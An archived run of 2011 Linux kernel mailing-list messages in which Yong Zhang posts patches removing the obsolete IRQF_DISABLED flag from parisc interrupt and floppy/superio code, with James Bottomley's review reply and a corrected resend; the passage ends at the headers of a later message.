Subject: [PATCH 14/57] parisc: irq: remove IRQF_DISABLED
Date: Wed, 21 Sep 2011 17:28:15 +0800
Lines: 55
Approved: news@gmane.org
Message-ID: <1316597339-29861-15-git-send-email-yong.zhang0@gmail.com>
References: <1316597339-29861-1-git-send-email-yong.zhang0@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1316597498 15830 80.91.229.12 (21 Sep 2011 09:31:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 21 Sep 2011 09:31:38 +0000 (UTC)
Cc: tglx@linutronix.de, yong.zhang0@gmail.com,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Bottomley <James.Bottomley@suse.de>,
	linux-parisc@vger.kernel.org
To: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 21 11:31:32 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1R6J9P-0002PN-1M
	for glk-linux-kernel-3@lo.gmane.org; Wed, 21 Sep 2011 11:31:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753150Ab1IUJbZ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 21 Sep 2011 05:31:25 -0400
Original-Received: from mail-wy0-f180.google.com ([74.125.82.180]:49741 "EHLO
	mail-wy0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752930Ab1IUJbV (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 21 Sep 2011 05:31:21 -0400
Original-Received: by mail-wy0-f180.google.com with SMTP id 26so2271495wyj.11
        for <multiple recipients>; Wed, 21 Sep 2011 02:31:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=/xDtIeTKkSLQJHK91pfktOwB4NR57foynrZAOpsRTj8=;
        b=AeFRz6l+ofc42wefQj3Rzu/NKZ3qJ8GX2nbza+MFhmYv1CgH+tRXFAKfa60gGRiui4
         YmKNLfjMDLgRgktU59LhoIvQ1vXZ/l1axPeXEIMzpllRIob6VLA47KwoK6sv3R8m/Yw6
         ib9z39UkyXHgKErrcAjeEe+tr0pTL0fadU3Sg=
Original-Received: by 10.227.144.208 with SMTP id a16mr452978wbv.32.1316597480749;
        Wed, 21 Sep 2011 02:31:20 -0700 (PDT)
Original-Received: from localhost ([61.148.56.138])
        by mx.google.com with ESMTPS id ev5sm6151452wbb.11.2011.09.21.02.31.19
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 21 Sep 2011 02:31:20 -0700 (PDT)
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1316597339-29861-1-git-send-email-yong.zhang0@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1193600 gmane.linux.kernel.cross-arch:10934 gmane.linux.ports.parisc:3955
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1193600>

Since commit [c58543c8: genirq: Run irq handlers with interrupts disabled],
We run all interrupt handlers with interrupts disabled
and we even check and yell when an interrupt handler
returns with interrupts enabled (see commit [b738a50a:
genirq: Warn when handler enables interrupts]).

So now this flag is a NOOP and can be removed.

Signed-off-by: Yong Zhang <yong.zhang0@gmail.com>
---
 arch/parisc/include/asm/floppy.h |    4 ++--
 arch/parisc/kernel/irq.c         |    4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/include/asm/floppy.h b/arch/parisc/include/asm/floppy.h
index 4ca69f5..f84ff12 100644
--- a/arch/parisc/include/asm/floppy.h
+++ b/arch/parisc/include/asm/floppy.h
@@ -157,10 +157,10 @@ static int fd_request_irq(void)
 {
 	if(can_use_virtual_dma)
 		return request_irq(FLOPPY_IRQ, floppy_hardint,
-				   IRQF_DISABLED, "floppy", NULL);
+				   0, "floppy", NULL);
 	else
 		return request_irq(FLOPPY_IRQ, floppy_interrupt,
-				   IRQF_DISABLED, "floppy", NULL);
+				   0, "floppy", NULL);
 }
 
 static unsigned long dma_mem_alloc(unsigned long size)
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..420676b 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
-- 
1.7.4.1


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yong Zhang <yong.zhang0@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 40/57] dirvers/parisc: irq: Remove IRQF_DISABLED
Date: Wed, 21 Sep 2011 17:28:41 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <1316597339-29861-41-git-send-email-yong.zhang0@gmail.com>
References: <1316597339-29861-1-git-send-email-yong.zhang0@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1316597710 17284 80.91.229.12 (21 Sep 2011 09:35:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 21 Sep 2011 09:35:10 +0000 (UTC)
Cc: tglx@linutronix.de, yong.zhang0@gmail.com,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 21 11:35:03 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1R6JCo-0004Rd-BT
	for glk-linux-kernel-3@lo.gmane.org; Wed, 21 Sep 2011 11:35:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753683Ab1IUJev (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 21 Sep 2011 05:34:51 -0400
Original-Received: from mail-ew0-f46.google.com ([209.85.215.46]:47439 "EHLO
	mail-ew0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753658Ab1IUJes (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 21 Sep 2011 05:34:48 -0400
Original-Received: by ewy4 with SMTP id 4so1034742ewy.5
        for <multiple recipients>; Wed, 21 Sep 2011 02:34:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=qLbA248YnlM6N5Fkn/eCSedI3d9PU9Q76F8J2nuQtOg=;
        b=QvWAJmWXoSSrmvxl4BPO/DXCMhtgBGK87YM5mecLvTy4rE5iHYnfx1kOiv9Kvyl9fP
         bPFD4tvrBURhNGKsTVaYL134+nJar7pfDks1i1PsC9o2xWSkkj/EQbCUBtMLaNxcwJk8
         xprz3442dd34jgGH6vjCC+dJFYWd9ABwoebAM=
Original-Received: by 10.216.167.73 with SMTP id h51mr1868877wel.85.1316597686688;
        Wed, 21 Sep 2011 02:34:46 -0700 (PDT)
Original-Received: from localhost ([61.148.56.138])
        by mx.google.com with ESMTPS id fr18sm6165802wbb.9.2011.09.21.02.34.44
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 21 Sep 2011 02:34:46 -0700 (PDT)
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1316597339-29861-1-git-send-email-yong.zhang0@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1193624 gmane.linux.kernel.cross-arch:10957 gmane.linux.ports.parisc:3956
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1193624>

Since commit [c58543c8: genirq: Run irq handlers with interrupts disabled],
We run all interrupt handlers with interrupts disabled
and we even check and yell when an interrupt handler
returns with interrupts enabled (see commit [b738a50a:
genirq: Warn when handler enables interrupts]).

So now this flag is a NOOP and can be removed.

Signed-off-by: Yong Zhang <yong.zhang0@gmail.com>
---
 drivers/parisc/superio.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index e3b76d4..5e6fd94e 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -274,7 +274,7 @@ superio_init(struct pci_dev *pcidev)
 	else
 		printk(KERN_ERR PFX "USB regulator not initialized!\n");
 
-	if (request_irq(pdev->irq, superio_interrupt, IRQF_DISABLED,
+	if (request_irq(pdev->irq, superio_interrupt, 0,
 			SUPERIO, (void *)sio)) {
 
 		printk(KERN_ERR PFX "could not get irq\n");
-- 
1.7.4.1


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH 40/57] dirvers/parisc: irq: Remove IRQF_DISABLED
Date: Wed, 21 Sep 2011 14:07:04 +0400
Lines: 13
Approved: news@gmane.org
Message-ID: <1316599624.2966.12.camel@dabdike>
References: <1316597339-29861-1-git-send-email-yong.zhang0@gmail.com>
	 <1316597339-29861-41-git-send-email-yong.zhang0@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1316599655 30949 80.91.229.12 (21 Sep 2011 10:07:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 21 Sep 2011 10:07:35 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	tglx@linutronix.de, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Yong Zhang <yong.zhang0@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 21 12:07:30 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1R6JiD-0003BB-Mb
	for glk-linux-kernel-3@lo.gmane.org; Wed, 21 Sep 2011 12:07:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752954Ab1IUKHP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 21 Sep 2011 06:07:15 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47879 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752899Ab1IUKHM (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 21 Sep 2011 06:07:12 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 942008EE0D7;
	Wed, 21 Sep 2011 03:07:11 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DegbQczj5XFO; Wed, 21 Sep 2011 03:07:10 -0700 (PDT)
Original-Received: from [10.24.29.53] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 723308EE0D3;
	Wed, 21 Sep 2011 03:07:07 -0700 (PDT)
In-Reply-To: <1316597339-29861-41-git-send-email-yong.zhang0@gmail.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1193653 gmane.linux.kernel.cross-arch:10982 gmane.linux.ports.parisc:3958
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1193653>

Firstly, we don't need 57 patches doing this ... a single one through
the trivial tree should be sufficient (and it can nuke the flag at the
same time).

On Wed, 2011-09-21 at 17:28 +0800, Yong Zhang wrote:
> Since commit [c58543c8: genirq: Run irq handlers with interrupts disabled],

um, that's commit e58aa3d2d0cc01ad8d6f7f640a0670433f794922

James




From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yong Zhang <yong.zhang0@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 40/57] dirvers/parisc: irq: Remove IRQF_DISABLED
Date: Wed, 21 Sep 2011 20:07:24 +0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20110921120724.GA2550@zhy>
References: <1316597339-29861-1-git-send-email-yong.zhang0@gmail.com>
 <1316597339-29861-41-git-send-email-yong.zhang0@gmail.com>
 <1316599624.2966.12.camel@dabdike>
Reply-To: Yong Zhang <yong.zhang0@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: dough.gmane.org 1316606864 15802 80.91.229.12 (21 Sep 2011 12:07:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 21 Sep 2011 12:07:44 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	tglx@linutronix.de, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 21 14:07:38 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1R6LaS-0005gs-72
	for glka-linux-arch@lo.gmane.org; Wed, 21 Sep 2011 14:07:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753317Ab1IUMHf (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 21 Sep 2011 08:07:35 -0400
Original-Received: from mail-pz0-f42.google.com ([209.85.210.42]:36346 "EHLO
	mail-pz0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752778Ab1IUMHe (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 21 Sep 2011 08:07:34 -0400
Original-Received: by pzk1 with SMTP id 1so1924272pzk.1
        for <multiple recipients>; Wed, 21 Sep 2011 05:07:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:reply-to:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=3/2hQbjVuppaJBdS52ARJzY8lnarutsXZGqlX1CoRdE=;
        b=JZkuFLKuJG7e/McNfWfNHsqkCER3p13/Om/yPIAgJNojdGsGFklC84FmmKEz8Ss5WN
         +pFS/CyXDqi4mr2N45noEQUyRaSogHRsjLyiN42X3N5qidSJsWwzx7yQkEof8XC5Df/Q
         q4IoKiskm6YKE98nH82x/uqwyffk4GHkVSeO8=
Original-Received: by 10.68.4.232 with SMTP id n8mr1379686pbn.151.1316606853422;
        Wed, 21 Sep 2011 05:07:33 -0700 (PDT)
Original-Received: from localhost ([123.103.27.61])
        by mx.google.com with ESMTPS id e8sm16360476pbc.8.2011.09.21.05.07.29
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 21 Sep 2011 05:07:30 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1316599624.2966.12.camel@dabdike>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:10989 gmane.linux.kernel:1193691 gmane.linux.ports.parisc:3959
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/10989>

On Wed, Sep 21, 2011 at 02:07:04PM +0400, James Bottomley wrote:
> Firstly, we don't need 57 patches doing this ... a single one through
> the trivial tree should be sufficient (and it can nuke the flag at the
> same time).
> 
> On Wed, 2011-09-21 at 17:28 +0800, Yong Zhang wrote:
> > Since commit [c58543c8: genirq: Run irq handlers with interrupts disabled],
> 
> um, that's commit e58aa3d2d0cc01ad8d6f7f640a0670433f794922

Ah, yes, not sure how I make it wrong.

Thanks,
Yong

From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yong Zhang <yong.zhang0@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 14/55] parisc: irq: remove IRQF_DISABLED
Date: Thu, 22 Sep 2011 16:58:41 +0800
Lines: 55
Approved: news@gmane.org
Message-ID: <1316681962-8217-15-git-send-email-yong.zhang0@gmail.com>
References: <1316681962-8217-1-git-send-email-yong.zhang0@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1316682123 21227 80.91.229.12 (22 Sep 2011 09:02:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Sep 2011 09:02:03 +0000 (UTC)
Cc: tglx@linutronix.de, yong.zhang0@gmail.com,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	James Bottomley <James.Bottomley@suse.de>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Thu Sep 22 11:01:58 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1R6fAJ-0004QM-Qa
	for glka-linux-arch@lo.gmane.org; Thu, 22 Sep 2011 11:01:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752670Ab1IVJBx (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 22 Sep 2011 05:01:53 -0400
Original-Received: from mail-ww0-f42.google.com ([74.125.82.42]:60583 "EHLO
	mail-ww0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752558Ab1IVJBu (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 22 Sep 2011 05:01:50 -0400
Original-Received: by mail-ww0-f42.google.com with SMTP id 22so6317004wwn.1
        for <multiple recipients>; Thu, 22 Sep 2011 02:01:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=nVN4g/Uq0p6Yqo0FfuICBkE46Vw2LsHtnn11asbA/TA=;
        b=QesW6v+hO4LiGYJKHktIyEXuT2lzFkK2OivH5BFI48+1JRDcnugAyTvVcdU2fe//OD
         ty4OsuxvHYmhOqX1Xt9XUzAjNOsITW49Jiq2elHLn/9AFxOjLg74EV5ozRLNnU28AxGm
         MY+ZS8Hc4iLcUxjZWekAbKP1jKbK8ejunJnp8=
Original-Received: by 10.216.191.130 with SMTP id g2mr3379294wen.27.1316682109189;
        Thu, 22 Sep 2011 02:01:49 -0700 (PDT)
Original-Received: from localhost ([61.148.56.138])
        by mx.google.com with ESMTPS id gd6sm10570715wbb.1.2011.09.22.02.01.47
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 22 Sep 2011 02:01:48 -0700 (PDT)
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1316681962-8217-1-git-send-email-yong.zhang0@gmail.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:11021 gmane.linux.kernel:1194100 gmane.linux.ports.parisc:3960
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/11021>

Since commit [e58aa3d2: genirq: Run irq handlers with interrupts disabled],
We run all interrupt handlers with interrupts disabled
and we even check and yell when an interrupt handler
returns with interrupts enabled (see commit [b738a50a:
genirq: Warn when handler enables interrupts]).

So now this flag is a NOOP and can be removed.

Signed-off-by: Yong Zhang <yong.zhang0@gmail.com>
---
 arch/parisc/include/asm/floppy.h |    4 ++--
 arch/parisc/kernel/irq.c         |    4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/include/asm/floppy.h b/arch/parisc/include/asm/floppy.h
index 4ca69f5..f84ff12 100644
--- a/arch/parisc/include/asm/floppy.h
+++ b/arch/parisc/include/asm/floppy.h
@@ -157,10 +157,10 @@ static int fd_request_irq(void)
 {
 	if(can_use_virtual_dma)
 		return request_irq(FLOPPY_IRQ, floppy_hardint,
-				   IRQF_DISABLED, "floppy", NULL);
+				   0, "floppy", NULL);
 	else
 		return request_irq(FLOPPY_IRQ, floppy_interrupt,
-				   IRQF_DISABLED, "floppy", NULL);
+				   0, "floppy", NULL);
 }
 
 static unsigned long dma_mem_alloc(unsigned long size)
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..420676b 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
-- 
1.7.4.1


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yong Zhang <yong.zhang0@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 40/55] dirvers/parisc: irq: Remove IRQF_DISABLED
Date: Thu, 22 Sep 2011 16:59:07 +0800
Lines: 29
Approved: news@gmane.org
Message-ID: <1316681962-8217-41-git-send-email-yong.zhang0@gmail.com>
References: <1316681962-8217-1-git-send-email-yong.zhang0@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1316682361 22789 80.91.229.12 (22 Sep 2011 09:06:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 22 Sep 2011 09:06:01 +0000 (UTC)
Cc: tglx@linutronix.de, yong.zhang0@gmail.com,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 22 11:05:56 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1R6fE9-0006BE-SK
	for glk-linux-kernel-3@lo.gmane.org; Thu, 22 Sep 2011 11:05:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753174Ab1IVJFu (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 22 Sep 2011 05:05:50 -0400
Original-Received: from mail-ww0-f44.google.com ([74.125.82.44]:34429 "EHLO
	mail-ww0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750813Ab1IVJFq (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 22 Sep 2011 05:05:46 -0400
Original-Received: by wwf22 with SMTP id 22so1887484wwf.1
        for <multiple recipients>; Thu, 22 Sep 2011 02:05:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=Tng7W6kHvFVzJuPX5awUBMwxvAdvstgNA3q5ed964zY=;
        b=iGpt84GN9P3TSr6oD6w3HumHvdzEWPDRSWbVn+s4DECu+w0d/bMMdJS2Zh0emaNOh3
         LdMmM4+nZFUJO5xICBy9OQJCwjxVHGcM2Mv5nK+Pxr8LcOtr03Ig/UxqMKGr/5iTcAtt
         9M/iHkjRVQVlgM9nlxDab62WyGO2fFvxcZSi4=
Original-Received: by 10.227.176.78 with SMTP id bd14mr314388wbb.70.1316682344812;
        Thu, 22 Sep 2011 02:05:44 -0700 (PDT)
Original-Received: from localhost ([61.148.56.138])
        by mx.google.com with ESMTPS id p2sm10546191wbo.17.2011.09.22.02.05.43
        (version=TLSv1/SSLv3 cipher=OTHER);
        Thu, 22 Sep 2011 02:05:44 -0700 (PDT)
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1316681962-8217-1-git-send-email-yong.zhang0@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1194124 gmane.linux.kernel.cross-arch:11044 gmane.linux.ports.parisc:3961
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1194124>

Since commit [e58aa3d2: genirq: Run irq handlers with interrupts disabled],
We run all interrupt handlers with interrupts disabled
and we even check and yell when an interrupt handler
returns with interrupts enabled (see commit [b738a50a:
genirq: Warn when handler enables interrupts]).

So now this flag is a NOOP and can be removed.

Signed-off-by: Yong Zhang <yong.zhang0@gmail.com>
---
 drivers/parisc/superio.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index e3b76d4..5e6fd94e 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -274,7 +274,7 @@ superio_init(struct pci_dev *pcidev)
 	else
 		printk(KERN_ERR PFX "USB regulator not initialized!\n");
 
-	if (request_irq(pdev->irq, superio_interrupt, IRQF_DISABLED,
+	if (request_irq(pdev->irq, superio_interrupt, 0,
 			SUPERIO, (void *)sio)) {
 
 		printk(KERN_ERR PFX "could not get irq\n");
-- 
1.7.4.1


From - Thu Nov 08 21:07:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: HPMC running CMake Nightly tests
Date: Tue, 27 Sep 2011 09:32:37 +0200
Lines: 142
Approved: news@gmane.org
